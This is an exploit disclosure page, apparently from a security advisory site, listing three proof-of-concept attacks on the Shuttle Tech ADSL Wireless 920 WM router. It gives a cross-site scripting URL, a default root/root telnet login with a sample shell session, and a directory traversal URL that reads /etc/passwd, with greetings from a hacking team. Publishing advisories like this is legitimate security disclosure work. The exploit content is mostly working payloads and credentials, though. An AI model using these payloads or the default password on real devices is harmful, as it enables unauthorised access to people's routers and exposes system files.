Shuttle Tech ADSL Wireless 920 WM XSS / Directory Traversal

2016.12.06
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79
CWE-22

###################### # Exploit Title : Shuttle Tech ADSL WIRELESS 920 WM - Cross Site Scripting # Version: Gan9.8U6X-B-TW-R1B020_1T1RP # Exploit Author : Persian Hack Team # Tested on [ Win ] # Date 2016/12/05 ###################### # # PoC : First We Need To login To Panel And page Parameter Vulnerable to Cross Site Scripting # http://192.168.1.1/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=%3Cscript%3Ealert%28%22c_C%22%29%3C/script%3E # ###################### # Exploit Title : Shuttle Tech ADSL WIRELESS 920 WM - Default Telnet Root Password # Version: Gan9.8U6X-B-TW-R1B020_1T1RP # Exploit Author : Persian Hack Team # Tested on: linux,windows # Date 2016/12/05 ###################### # # PoC : Username:root Password:root telnet 192.168.1.1 (none) login: root Password:root ~ $ cat /proc/version Linux version 2.6.19 (dsl@crlinux) (gcc version 3.4.6-1.3.6) #3 Fri May 18 13:09:57 CST 2012 ###################### # Exploit Title : Shuttle Tech ADSL WIRELESS 920 WM - Directory Traversal # Version: Gan9.8U6X-B-TW-R1B020_1T1RP # Exploit Author : Persian Hack Team # Tested on [ Win ] # Date 2016/12/05 ###################### # # PoC : First We Need To login To Panel And getpage Parameter Vulnerable to Local File Disclosure # http://192.168.1.1/cgi-bin/webproc?getpage=../../../../etc/passwd&var:menu=setup&var:page= # ###################### # Discovered by : Mojtaba MobhaM Mail:Kazemimojtaba@live.com # B3li3v3 M3 I will n3v3r St0p # Greetz : T3NZOG4N & FireKernel And All Persian Hack Team Members And All Iranian Hackers # Homepage : http://persian-team.ir ######################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top